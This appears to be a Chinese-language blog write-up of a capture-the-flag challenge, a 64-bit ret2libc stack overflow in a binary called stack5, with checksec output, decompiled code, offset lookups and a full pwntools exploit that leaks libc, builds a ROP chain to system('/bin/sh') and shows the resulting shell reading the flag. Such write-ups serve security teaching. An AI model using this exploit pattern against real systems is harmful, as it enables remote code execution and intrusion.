ROP-64位-ret2libc Created 2021-11-30 | Updated 2024-10-24
| Post View:
漏洞分析 题目
查看可执行文件stack5的保护,只开启了NX保护
1 2 3 4 5 6 7 8 ┌──(root💀06aa46c0844f)-[/home/stack5] └─ [*] '/home/stack5/stack5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
查看动态链接库libc-2.23.so的保护,开启了PIE,每次加载基地址都会随机化
1 2 3 4 5 6 7 8 9 ┌──(root💀06aa46c0844f)-[/home/stack5] └─ [*] '/home/stack5/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE ena bled
main函数中,打印泄露了stdout的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("welcome to stack5" ); printf ("Here is a gift: %p\n" , stdout , argv); puts ("input your name plz" ); read(0 , &buf, 0x100 uLL); print_name(&buf); return 0 ; }
print_name中存在栈溢出
1 2 3 4 5 6 7 int __fastcall print_name (const void *a1) { char dest; memcpy (&dest, a1, 0x100 uLL); return printf ("Hello %s\n" , &dest); }
攻击思路 首先获取泄露的stdout的实际地址,然后结合libc中stdout的偏移地址从而计算出libc加载的基地址,进而算出system和”/bin/sh”的实际地址,再栈溢出攻击
编写payload 获取”/bin/sh”在libc中的偏移地址为0x18ce17,ROPgadget --binary stack5 --string "/bin/sh"
1 2 3 ┌──(root💀06aa46c0844f)-[/home/stack5] └─ 18ce17 /bin/sh
对system和stdout在libc中偏移地址的获取建议直接ida里找了,这是最准的,我用ROPgadget找的地址不对,也不知道为什么,有师傅知道的麻烦留言或者联系我
放入ida中查看stdout的地址为0x3C5620
1 2 3 .data:00000000003C5620 public _IO_2_1_stdout_ .data:00000000003C5620 _IO_2_1_stdout_ db 84h ; DATA XREF: LOAD:00000000000088C8↑o .data:00000000003C5620 ; .data:00000000003C55A8↑o ...
system偏移地址为0x453a0
因为是64位,还需要rdi_ret的地址
1 2 3 ┌──(root💀06aa46c0844f)-[/home/stack5] └─ 0x0000000000400843 : pop rdi ; ret
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *r = remote("47.94.239.235" , 2025 ) r.recvuntil(":" ) stdout_addr = r.recvuntil("\n" ) stdout_addr = int (stdout_addr[-15 :-1 ], 16 ) print (hex (stdout_addr))stdout_libc_addr = 0x3c5620 system_libc_addr = 0x453a0 sh_libc_addr = 0x18ce17 base_addr = stdout_addr - stdout_libc_addr system_addr = base_addr + system_libc_addr sh_addr = base_addr + sh_libc_addr rdi_ret_addr = 0x400843 payload = 'a' *0x20 + p64(0xdeadbeef ) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) r.recv() r.send(payload) r.recv() r.interactive()
打通!
1 2 3 4 5 6 7 8 9 ┌──(root💀06aa46c0844f)-[/home/stack5] └─ [+] Opening connection to 47.94.239.235 on port 2025: Done 0x7fb8d2262620 [*] Switching to interactive mode $ whoami ctf $ cat home/ctf/flag flag{a37e9c0d-234b-490f-bd63-5765e67dc12d}$